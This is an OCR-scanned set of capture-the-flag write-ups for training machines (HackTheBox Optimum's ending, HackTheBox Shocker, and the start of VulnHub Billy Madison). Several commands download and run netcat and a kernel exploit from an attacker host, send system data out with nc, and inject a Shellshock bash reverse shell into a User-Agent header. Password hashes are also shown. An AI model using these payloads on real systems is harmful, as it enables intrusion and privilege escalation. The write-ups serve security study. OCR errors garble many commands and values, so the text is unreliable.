d0c39409d7b994a9a1389ebf38ef5f73
C:\Users\kostas\Desktop=

Figure 8: writeup.privesc.steps.1.1

2. We now use the windows-exploit-suggester.py script to get list of possible privesc vectors. To do this, we first
had to download netcat onto target system via Powershell and transfer the text output of systeminfo command
to our local system:

C:\Users\kostas\Desktop>systeminfo >sysinfo.txt
systeminfo =sysinfo.txt

Figure 9: writeup.privesc.steps.2.1

C:\Users\kostas\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.26:8000/nc.exe’, 'C:\Users\kostas\Desktop\nc.exe')"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.26:8000/nc.exe’, 'C:\Users\kostas\Desktop\nc.exe')"

C:\Users\kostas\Desktop>
C:\Users\kostas\Desktop>
C:\Users\kostas\Desktop>dir

dir

Volume in drive C has no label.

Volume Serial Number is DOBC-0196

Directory of C:\Users\kostas\Desktop

11/11/2019 01:05 <DIR>
11/11/2019 01:05 <DIR> <
11/11/2019 11:51 <DIR> %TEMPSs
18/03/2017 02:11 760.320 hfs.exe
11/11/2019 01:05 36.528 nc.exe
11/11/2019 01:02 3.336 sysinfo.txt
18/03/2017 02:13 32 user.txt.txt
4 File(s) 800.216 bytes

3 Dir(s) 31.898.066.944 bytes free

C:\Users\kostas\Desktop>

Figure 10: writeup.privesc.steps.2.2

C:\Users\kostas\Desktop=nc 10.10.14.26 9999 =<sysinfo.txt
nc 18.10.14.26 9999 <sysinfo.txt
C:\Users\kostas\Desktop=

Figure 11: writeup.privesc.steps.2.3

3. The windows-exploit-suggester.py scripts lists several privesc vectors and we decide to use EDB:41020
because it provides a pre-compiled binary ready to used. We again transfer this exploit file to the target system
using Powershell:


https://www.exploit-db.com/exploits/41020

root@kali: ~/toolbox/data/writeups/hth.optimum # python ~/toolbox/scripts/Windows-Exploit-Suggester/windows-exploit-suggester.py --database ~/toolbox/scripts/Windows-Exploit-Suggester/2019-11-04-mssb
xls --systeminfo sysinfo.txt
[+] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
+] systeminfo input file read successfully (I50-8859-1)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[+] there are now 246 remaining vulns
[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
windows version identified as 'Windows 2012 R2 64-bit'
M516-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]  https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*1 https://github.com/tinysec/public/tree/master/CVE-2016-7255

E] MS16-098: Security Update for windows Kernel-Mode Drivers (3178466) - Important
[*]  https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098

Figure 12: writeup.privesc.steps.3.1

C:\Users\kostas\Desktop>powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.26:8000/41020.exe', 'C:\Users\kostas\Desktop\41020.exe')"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.18.14.26:8000/41020.exe’, " 'C:\Users\kostas\Desktop\41020.exe')"

C:\Users\kostas\Desktop>

Figure 13: writeup.privesc.steps.3.2

4. Once executed, we get elevated privileges on the target system:



C:\Users\kostas\Desktop=dir

dir

Volume in drive C has no label.
Volume Serial Number is DOBC-0196

Directory of C:\Users\kostas\Desktop

11/11/28619 01:13 <DIR=>
11/11/28619 ©01:13 =DIR= o ¢
11/11/2861% 11:51 <DIR> %TEMP%
11/11/2019 ©0©1:13 560.128 41020.exe
18/03/2017 02:11 760.320 hfs.exe
11/11/2819 0l1:05 36.528 nc.exe
11/11/2861% ©8l:02 3.336 sysinfo.txt
18/03/2017 ©02:13 32 user.txt.txt
5 Filels) 1.360.344 bytes

3 Dir(s) 31.897.505.792 bytes free
C:\Users\kostas\Desktop=>
C:\Users\kostas\Desktop=
C:\Users\kostas\Desktop=whoami
whoami
optimumykostas
C:\Users\kostas\Desktop=41020.exe
41020.exe
Microsoft Windows [Version 6.3.9608]
{c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami

nt authority\system

C:\Users\kostas\Desktop=>

Figure 14: writeup.privesc.steps.4.1

5. We can now view the contents of the root.txt file to complete the challenge:
C:\Users\Administrator\Desktop=type root.txt
type root.txt
51ed1b36553c8461T4552c2e92b3eeed
C:\Users\Administrator\Desktop>

Figure 15: writeup.privesc.steps.5.1
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Loot
Flags

C:\Users\kostas\Desktop\user.txt.txt: d0c39409d7b994a%al..............
C:\Users\Administrator\Desktop\root.txt: 51ed1b36553c8461f4..............

References

[+] https://www.hackthebox.eu/home/machines/profile/6
[+] https://reboare.github.io/hackthebox /htb-optimum.html
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[HackTheBox] Shocker

Date: 13/Nov/2019
Categories: oscp, htb, linux
Tags: exploit_ shellshock, privesc_ sudoers

Overview

This is a writeup for HackTheBox VM Shocker. Here are stats for this machine from machinescli:

machinescli -t --info shocker

Difficulty 0S O0SCPlike Owned TTPs

1. hackthebox#108 Shocker .= - @ @ &

privesc_sudoers

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/108
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_shellshock&unscoped_q=exploit_shellshock
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://www.hackthebox.eu/home/machines/profile/108
https://github.com/7h3rAm/machinescli

[HTB] Shocker

' 10.10.10.56 |

k 4
‘Phase #1: Enumeration

L J . Y ,
‘2222!tcp‘ 80/tcp

h 4
gobuster and nmap nse to confirm shellshock vulnerability

h

Phase #2: Exploitation

h

execute bash reverse shell

netcat (shelly)

¥ . L 4 '
user.txt Phase #3: Privilege Escalation

k J
shelly can execute perl with sudo privileges

: X .
sudo perl exec /bin/sh

h J
‘netcat [ruot)‘

h 4

‘root.txt‘

Figure 2: writeupfoverview killchain



TTPs
1. 80/tcp/http/Apache httpd 2.4.18 ((Ubuntu)): exploit shellshock, privesc sudoers


https://github.com/7h3rAm/writeups#exploit_shellshock
https://github.com/7h3rAm/writeups#privesc_sudoers
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Phase #1: Enumeration

1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Wed Nov 13 16:00:23 2019 as: mmap —vv —--reason —Pn -sV -sC
o —-version-all -oN
s /root/toolboz/writeups/htdb.shocker/results/10.10.10.56/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.shocker/results/10.10.10.56/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.56

Increasing send delay for 10.10.10.56 from O to 5 due to 145 out of 482 dropped probes since
<~ last increase.

Nmap scan report for 10.10.10.56

Host is up, received user-set (0.11s latency).

Scanned at 2019-11-13 16:00:24 PST for 25s

Not shown: 998 closed ports

Reason: 998 resets

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

| _  Supported Methods: POST OPTIONS GET HEAD

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol
< 2 .O)

| ssh-hostkey:

| 2048 c4:f8:2d:e8:£8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)

| ssh-rsa

» AAAAB3NzaClyc2EAAAADAQABAAABAQD8ArTOHWzghwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAK(Q2zefCHCUSXTC8hYOtab

| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
| ecdsa-sha2-nistp256

~ AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBPiFJA2F35NPKIQxKMHrgPzVzoNHOJtTtM+z1lwVExzvcXPFFuQ

| 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAAIC/RjKhT/2YP1CgFQLx+g0XhC6W3A3raTzj1XQMT8Msk
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 13 16:00:49 2019 -- 1 IP address (1 host up) scanned in 26.24 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ openports

# Port Protocol  Service Scans

./results/10.10.10.56/scans/tcp_8@_http_gobuster.txt

./results/10.10.10.56/scans/tcp_80_http_nikto.txt
1. 80/tcp http ttl 63 Apache httpd 2.4.18 ((Ubuntu)) ./results/10.10.10.56/scans/tcp_8@_http_nmap.txt

./results/10.10.10.56/scans/tcp_80_http_robots.txt

./results/10.10.10.56/scans/tcp_80_http_whatweb.txt
2. 2222/tcp ssh ttl 63 OpenSSH 7.2p2 Ubuntu &4ubuntu2.2 (Ubuntu Linux protocol 2.0) ./results/10.10.10.56/scans/tcp_2222_ssh_nmap.txt

Figure 3: writeup.enumeration.steps.2.1

3. We try Shellshock related enumeration steps to identify interesting scripts to be used as entrypoint:

gobuster -u 10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s
< 200,204,301,302,307,403

gobuster -u 10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -s
- 200,204,301,302,307,403 -k -x sh,pl


https://github.com/Tib3rius/AutoRecon

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=1s 10.10.10.56

root@kali: ~/toolbox/data/writeups/hth.shocker # gobuster -u 10.10.10.56 -w fusr/share/seclists/Discovery/Web-Content/common.txt -t 80 -s 302,307,200,204,301,403

Gobuster v1.4.1 0] Reeves (@TheColonial)

[+] Mode ¢ odir

[+] url/Domain : http://10.10.10.56/

[+] Threads : 80

[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/common.txt

[+] Status codes : 307,200,204,301,403,302

/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/cgi-bin/ (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)

root@kali: ~/toolbox/data/writeups/hth.shocker #

Figure 4: writeup.enumeration.steps.3.1

root@kali: ~/toolbox/data/writeups/hth.shocker # nmap -sV -p8@ --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=1s 10.16.10.56
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-13 16:52 PST

Nmap scan report for 10.10.10.56

Host is up (©.1@5 latency).

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
root@kali: ~/toolbox/data/writeups/htb.shocker # “C

Figure 5: writeup.enumeration.steps.3.2

4. The user. sh script looks interesting and we manually confirm that it is vulnerable to Shellshock:

Go <|¥ > Target: http:/10.10.10.56 | &

Request Response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render
BET fcgi-binfuser.sh HTTE/ 1.1 B HT'TE/1.1 400 Bac Eequest
connection: close r pare: Thu, 14 mov 2019 00:54:0% G
uger-agent: () [ ::}: echor echo "SEPLEXKUMHLEXOE" server: ipache/2.4.18 (Ubuntuj
Referer: () [ :;]; echo; echo "SEPLEXKUMHLFIOE" Content- Length: 301
Cockie: () { :;}; echo; echo "SEPLBEXKUMHLEXOR" connection: close
Hopt: localhoot:B081 content-Type: rexr/hrml; charser=iso-B850-1

() { 2:}: echo; echo "SEPLEXKUMHLEXOE": () { :i}: echo; echo "SEPLEXKUMHLEXOE!

“html e
«rirle>400 Bad Reguest</tirle>

</head><hody>

<hl>Bad Request</hl>

<p>Your browser sent a request that this server counld not understand.<br />
</p»

<hr>

Iressvapache/2.4.18 (Ubuntu) Server at 137.0.1.1 Port 80</addresss

1eac

Figure 6: writeup.enumeration.steps.4.1



Go garcel || [o<in] (L0

Request

| Raw | Headers TEW

Response

Raw | Headers | Hex

Target: http://10.10.10.56 ||

GET /cgi-bin/user.sh HTTE/ 1.1
Connection: close

uger-agent: () [ ::}; echo; echo "SEPLEXKUMHLFIOE"

Referer: () ([ ::]: echo; echo "SEPLEXKUMHLFIOE"
Cookie: () { echo; echo "SEPLBXKUMHLEXOB"
Host: localhost:BOBL

Findings
Open Ports

Tr

HTTE/1.1 200 OK

pate: Thu, 14 mHov 2019 00:54:35 G
server: aApache/2.4.18 (Ubunru)
Connection: closge

Content-Type: text/x-szh
content-Length: 170
SEFLEXKUMHLFXOE

SEPLEXKUMHLF XOH

SEFLEXKUMHLFXOE

content-Type: text/plain

JuEt an uptime test script

19:54:25 up 54 min, 0 users, load average: 0.00, 0.00,

Figure 7: writeup.enumeration.steps.4.2

80/tcp | http | Apache httpd 2.4.18 ((Ubuntu))
2222/tcp | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

Files

http://10.10.10.56/cgi-bin/user.sh



Phase #2: Exploitation

1. We inject a Bash reverse shell command within the HTTP User-Agent header and get interactive access on the
target system:

Go cancel <|r >ir Target: http://10.10.10.56 Ej
Request Response
Raw | Headers | Hex Raw Headers | Hex

GET /egi-bin/user.sh HTTE/1.1

Hozt: localhoszt: 2081

Connection: close

user-agent: () { ::3}: echoy /binsbash -1 >& /dev/tcp/10.10.14.25/443 0>al

>

cat /erontab

Figure 8: writeup.exploitation.steps.1.1

root@kali: ~/toolbox/data/writeups/htb.shocker # nc -nlvp 443

listening on [any] 443 ...

connect to [10.10.14.25] from (UNKNOWN) [10.10.10.56] 33188

bash: no job control in this shell

shelly@Shocker:/usr/lib/cgi-bin$ id

id

uid=10008(shelly) gid=10@0(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(1lxd),115(1padmin),h116(sambashare)
shelly@shocker:/usr/1ib/cgi-bin$

shelly@Shocker: fusr/lib/cgi-bin$ uname -a

uname -a

Linux Shocker 4.4.8-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86 64 x86 64 xB86 64 GNU/Linux
shelly@Shocker:/usr/lib/cgi-bin$

shelly@sShocker: /usr/lib/cgi-bin$ ifconfig

ifconfig

ens33 Link encap:Ethernet HWaddr 80:50:56:b9:fe:2c
inet addr:10.10.18.56 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe80::250:56TT:feb9:fe2c/64 Scope:Link
inet6 addr: dead:beef::250:56ff:feb9:fTe2c/64 Scope:Global
UP BROADCAST RUNNING MULTICAST WMTU:1500 Metric:1
RX packets:769099 errors:@ dropped:0 overruns:0 frame:0
TX packets:542509 errors:® dropped:@ overruns:@ carrier:0
collisions:@ txqueuelen:1060
RX bytes:65825189 (65.0 MB) TX bytes:92873282 (92.8 MB)

Figure 9: writeup.exploitation.steps.1.2

2. We can now view the contents of the first flag file, user.txt:

shelly@Shncker:fhnmef5he11y$ cat user.txt
Zec24ell3zpB26dle7@ 32166950233
shelly@Shocker: /home/shelly$

Figure 10: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

shelly@Shocker> id

uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110
< (1xd),115(1padmin), 116 (sambashare)

shelly@Shocker>

shelly@Shocker> uname

Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 z86_64 x86_64

s x86_64 GNU/Linuz

shelly@Shocker>



7 shelly@Shocker> ifconfig
s ens33 Link encap:Ethernet HWaddr 00:50:56:b9:fe:2c

9 inet addr:10.10.10.56 Bcast:10.10.10.255 Mask:255.255.255.0
10 inet6 addr: fe80::250:56ff:feb9:fe2c/64 Scope:Link

11 inet6 addr: dead:beef::250:56ff:feb9:fe2c/64 Scope:Global

12 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

13 RX packets:769099 errors:0 dropped:0 overruns:0 frame:0

14 TX packets:542509 errors:0 dropped:0 overruns:0 carrier:0

15 collisions:0 txqueuelen:1000

16 RX bytes:65025189 (65.0 MB) TX bytes:92873202 (92.8 MB)

17 shelly@Shocker>

18 shelly@Shocker> users
19 root

20 shelly



Phase #3: Privilege Escalation

1. From the output of the sudo -1, we know that the user shelly can execute perl with sudo privileges. We use
this to execute Bash and get elevated privileges:

sudo -1
sudo perl -e 'exec "/bin/sh";'

shelly@shocker: /home/shelly$ sudo -1

Matching Defaults entries for shelly on Shocker:
env_reset, mail badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
(root) NOPASSWD: /Jusr/bin/perl
shelly@shocker:/home/shelly$

Figure 11: writeup.privesc.steps.1.1

shelly@Shocker: /home/shelly$ sudo perl -e 'exec "/bin/sh";'
# id
uid=@(root) gid=0(root) groups=0(root)
#
# uname -a
Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86 64 x86 64 x86 64 GNU/Linux
#
# ifconfig
ens33 Link encap:Ethernet HWaddr 00:50:56:b9:fe:2c
inet addr:10.10.10.56 Bcast:10.10.10.255 Mask:255.255.255.0
inet6 addr: fe8@::250:56ff:feb9:fe2c/64 Scope:Link
inet6é addr: dead:beef::250:56ff:feb9:fe2c/64 Scope:Global
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:846383 errors:0 dropped:@ overruns:@ frame:0
TX packets:594047 errors:0 dropped:@ overruns:® carrier:®
collisions:@ txqueuelen:1000
RX bytes:71522685 (71.5 MB) TX bytes:102083048 (102.0 MB)

Figure 12: writeup.privesc.steps.1.2

2. We then view the contents of the root.txt file to complete the challenge:

# cat froot/root.txt
52c2715605d76c7619030560dclcads?
#

Figure 13: writeup.privesc.steps.2.1



Loot
Hashes
root: $6$BVgS6ne0$Q6rV3guk7QQUy7uRMwbQ3vv2Y5I9yQUhIzvrIhuiDso/ [
~  oBUfDXZw7MMq8atR3UdJ jhpkFVXVDOCVEIXQA. « .o vv v eeeeereeesanss

shelly:$6
< $aYLAoDIC$CJIB8£8WSCT6GYmbx7x8z5Rf rbTG5mpDkkJKLWO97hoiEw3tqei2cE7ECUTYdJTVMSa3PALZeBHjhiFR8Ba. .. ..... ...

Flags

/home/shelly/user.txt: 2ec24e11320026d1e70ff...........
/root/root.txt: 52c2715605d70c76190305..........

References

[+] https://www.hackthebox.eu/home/machines/profile/108
[+] https://www.youtube.com/watch?v=IBITdguhgfY
[+] https://xd3mOn.xyz/htb__shocker/
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[VulnHub] Billy Madison: 1.1

Date: 05/Sep/2019
Categories: oscp, vulnhub, linux
Tags: privesc_ setuid, privesc_ cron, privesc_ sudoers

Overview
This is a writeup for VulnHub VM Billy Madison: 1.1. Here are stats for this machine from machinescli:

machinescli -t --info madison

privesc_setuid
] privesc_cron

1. vulnhub#161  Billy Madison: 1.1
privesc_sudoers

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/billy-madison-11,161/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=privesc_setuid&unscoped_q=privesc_setuid
https://github.com/7h3rAm/writeups/search?q=privesc_cron&unscoped_q=privesc_cron
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://www.vulnhub.com/entry/billy-madison-11,161/
https://github.com/7h3rAm/machinescli

[VulnHub] Billy Madison: 1.1

192.168.92.167
Y
Phase #1: Enumeration
Y Y L 3 o i ¥ . v . 2 . Vs L4

22/tcp 23/tcp 69/tcp 80/tcp 139/tcp 445/tcp 21/tcp ‘2525/1:p|

r 4 Y Y

Telnet banner: ROT13 encoded string custom wordlist: rockyou.txt | grep -i veronica >veronica.wordlist

Y Y

HTTP directory name: http://lgz.168.92.167/ex5chmenuating| ‘gobuster scan on custom wordlist‘

Y ¥
‘found a pcap file: @12987veronica.cap‘ |1974/tcp|

Y
ftp credentials: eric/ericdeesntdrinkhisownpee

Y

Phase #2: Exploitation

| |

port knock the Spanish Armada combo to open ftp backdoor: 1466, 67, 1469 ,1514, 1981, 1986, 1588 | bruteforce ftp login for veronica
|

Y Y
ftp credentials: eric/ericdoesntdrinkhisewnpee ftp credentials: veronica/babygirl_veronica®@7@yahoo.com
ftp://eric@l92.168.92.167/.notes ftp://veronica@l92.168.92.167 /eg-01.cap
' send email with ‘Subject: My kid will be a soccer player' aircrack scan to find wifi/ssh password - triscuit*

> opens SSH backdoor @ 1974/tcp

¥

ssh -pl974 eric@l92.168.92.167
Y
Phase #3: Privilege Escalation
Y
’ find setuid files ‘
Y
|/usr/local/share/sgml/donpcgd|
Y
exploit file permissions issue to create /etc/cron.hourly/testing
Y
add eric to sudoers
X 1
sudo su
Y
download /home/eric/BowelMovement and /home/eric/hints.txt
Y
truecrack -t BowelMovement -w wiki.wordlist - execrable
Y

secret.zip |

T Y Y
Billy_Madison_12th_Grade Final_Project.doc | | THE-END.txt

Figure 2: writeup.overview.killchain



TTPs

1. 1974/tcp: privesc_setuid, privesc_ cron, privesc_sudoers


https://github.com/7h3rAm/writeups#privesc_setuid
https://github.com/7h3rAm/writeups#privesc_cron
https://github.com/7h3rAm/writeups#privesc_sudoers
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Phase #1: Enumeration

1.
#

Here’s the Nmap scan result:

Nmap 7.70 scan initiated Thu Sep 5 17:45:50 2019 as: nmap -vv —-reason —-Pn -sV -sC
--version-all -oN
/root/toolbox/vulnhub/billymadisonidotl/results/192.168.92.167/scans/_quick_tcp_nmap.txt
-oX
/root/toolboz/vulnhub/billymadisonldotl/results/192.168.92.167/scans/zml/_quick_tcp_nmap.xzml
192.168.92.167

Nmap scan report for 192.168.92.167

Ho
Sc
No
Re
PO
22
23
|

|

I_

<

80

st is up, received arp-response (0.00038s latency).

anned at 2019-09-05 17:45:53 PDT for 94s
t shown: 994 filtered ports
ason: 994 no-responses
RT STATE SERVICE REASON VERSION
/tcp open tcpwrapped syn-ack ttl 64
/tcp open telnet? syn-ack ttl 64
fingerprint-strings:
NULL:

*kkxk HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to
hack my wifi - but the joke's on you! I don't use ROTten passwords like rkfpuzrahngvat
anymore! Madison Hotels is as good as MINE!!!! sk

/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))

| http-methods:

Supported Methods: GET HEAD POST OPTIONS

| _http-server-header: Apache/2.4.18 (Ubuntu)
| _http-title: Oh nooooooo!

13
44
25
|
I
1
SF
SF
SF
SF
SF
SF
SF
MA

9/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

5/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

25/tcp open smtp syn-ack ttl 64 SubEtha smtpd

smtp-commands: BM, 8BITMIME, AUTH LOGIN, Ok,

SubEthaSMTP null on BM Topics: HELP HELO RCPT MAIL DATA AUTH EHLO NOOP RSET VRFY QUIT
STARTTLS For more info use "HELP <topic>". End of HELP info

service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

-Port23-TCP:V=7.70%I=9%D=9/5%Time=5D71AC46%,P=1686-pc-linux-gnujr (NULL,E6

2, "\n\n \k\#\k\* \ *\x20HAHAH ' \x20You ' re\x20banned\x20for\x20a\x20while, \x2

:0Billy\x20Boy!\x20\x20By\x20the\x20way, \x20I\x20caught\x20you\x20trying

:\x20to\x20hack\x20my \x20wifi\x20-\x20but\x20the\x20joke's\x200on\x20you!

:\x20I\x20don't\x20use\x20R0Tten\x20passwords\x201ike\x20rkfpuzrahngvat\

:x20anymore! \x20Madison\x20Hotels\x20is\x20as\x20good\x20as\x20MINE! ! ! I'\

:x20\*\*\*x\*\*\n\n") ;

C Address: 00:0C:29:1A:ED:6C (VMware)

Service Info: Host: BM

Ho
l_

st script results:
clock-skew: mean: 1h40mOOs, deviation: 2h53ml4s, median: Os

| p2p-conficker:

Checking for Conficker.C or higher...

Check 1 (port 57877/tcp): CLEAN (Timeout)

Check 2 (port 44191/tcp): CLEAN (Timeout)

Check 3 (port 46411/udp): CLEAN (Timeout)

Check 4 (port 51691/udp): CLEAN (Timeout)

0/4 checks are positive: Host is CLEAN or ports are blocked

smb-os-discovery:
0S: Windows 6.1 (Samba 4.3.9-Ubuntu)



45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

Computer name: bm
NetBIOS computer name: BM\x00
Domain name: \x00
FQDN: bm
System time: 2019-09-05T19:46:51-05:00

smb-security-mode:

account_used: guest

authentication_level: user
challenge_response: supported
message_signing: disabled (dangerous, but default)

2.02:

smb2-security-mode:

Message signing enabled but not required

date:

smb2-time:
2019-09-05 17:46:52

start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 5 17:47:28 2019 -- 1 IP address (1 host up) scanned in 97.41 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ openports

#

1.
2.
3.

Port

Protocol

Service

Scans

22/tcp
23/tcp

BO/tcp

139/tcp

445/ tcp

2525/tcp

tcpwrapped
tcpwrapped

http

netbios-ssn

netbios-ssn

smtp

ttl
Eth

ttl

Tl

ttl

64

64

64

64

64

64

/results/192.

./results/192.
./results/192.
Apache httpd 2.4.18 ((Ubuntu)) ./results/192.
./results/192.
./results/192.
./results/192.
./results/192.
Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ./results/192.
./results/192.
./results/192.
Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP) ./results/192
./results/192.
SubEtha smtpd ./results/192.
./results/192.

168.9

168
168
168
168
168
168
168
168
168
168
168
168
168
168

9

.92

92,
<92,
A2,
92
.92,
92,
.92,
.92,
.167/scans/enuméLinux. txt

92
.92

<92
92,
.92,

1

167/scans/tcp_23_telnet-nmap.txt

.167/scans/tcp_80_http_dirb.txt

167/scans/tcp_80_http_nikto.txt
167/scans/tcp_80_http_nmap.txt
167/scans/tcp_80_http_robots.txt
167/scans/tcp_80_http_whatweb. txt
167/scans/enum4linux. txt
167/scans/smbclient.txt
167/scans/tcp_139_smb_nmap.txt

167/scans/tcp_BD:http_gubuster_dirhus(er.txt

167/scans/smbclient . txt
167/scans/tcp_445_smb_nmap.txt
167/scans/tcp_2525_smtp_nmap. txt
167/scans/tcp_2525_smtp_user-enum. txt

Figure 3: writeup.enumeration.steps.2.1

3. Tried connecting to Telnet service and found a ROT13 encoded string:

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl # nc -nv 192.168.92.167 23

(UNKNOWN) [192.168.92.167] 23 (telnet) open

*++++ HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROTten passwords like rkfpuzrahngvat anymore! Madison Hotels is as
good as MINE!!!1 ###as

root@kali: ~/toolbox/data/vulnhub/billymadisonldotl #

Figure 4: writeup.enumeration.steps.3.1

4. Decoded the ROT13 (Caesar Cipher) encoded string and used it as the HTTP directory name:
http://192.168.92.167/exschmenuating


https://github.com/Tib3rius/AutoRecon

root@kali: # echo -en rkfpuzrahngvat | rotl3d
exschmenuating
root@kali: #

Figure 5: writeup.enumeration.steps.4.1

5. Found reference to the presence of files with names from rockyou.txt wordlist and veronica string in them.
We created a custom wordlist, ran a gobuster scan and found a network capture file:

gobuster -u http://192.168.92.167/exschmenuating -w veronica.wordlist -e -k -1 -s
- "200,204,301,302,307,403,500" -x "cap,pcap,capture" -o
o "results/192.168.92.167/scans/tcp_80_http_gobuster_dirbuster.txt" -
< http://192.168.92.167/exschmenuating/012987veronica. cap

Erics Admin Console L0 x| Welcome | Just another Wor x | +
« @ | ® 192.168.92.167/exschmenuating/ 4 @ CINE D @& » =

EStinks @& NT_STATUS_INVALID-....

"Ruin Billy Madison's Life" - Eric's notes

Looks like Principal Max is too much of a goodie two-shoes to help me ruin Billy Boy's life. Will ponder other victims.
Ah! Genius thought! Billy's girlfriend Veronica uses his machine too. I might have to cook up a phish and see if I can't get her to take the bait.

08/03/16

OMg LOL LOL LOL!!! What a twit - I can't believe she fell for it!! I .captured the whole thing in this folder for later lulz. I put "veronica" somewhere in the file name because I bet you a million dollars she uses her name as part of
her passwords - if that's true, she rocks! Anyway, malware installation successful. I'm now in complete control of Bill's machine!

Log monitor

This will help me keep an eye on Billy's attempt to free his machine from my wrath.

View log

Figure 6: writeup.enumeration.steps.5.1

root@kali: # gobuster -u http://192.168.92.167/exschmenuating -w veronica.wordlist -e -k -1 -s "200,204,301,302,307,403,500" -x "cap,pcap,capture” -o "/root/toolb
ox/data/vulnhub/billymadisonldotl/results/192.168.92.167/scans/tcp_80_http_gobuster_dirbuster.txt"

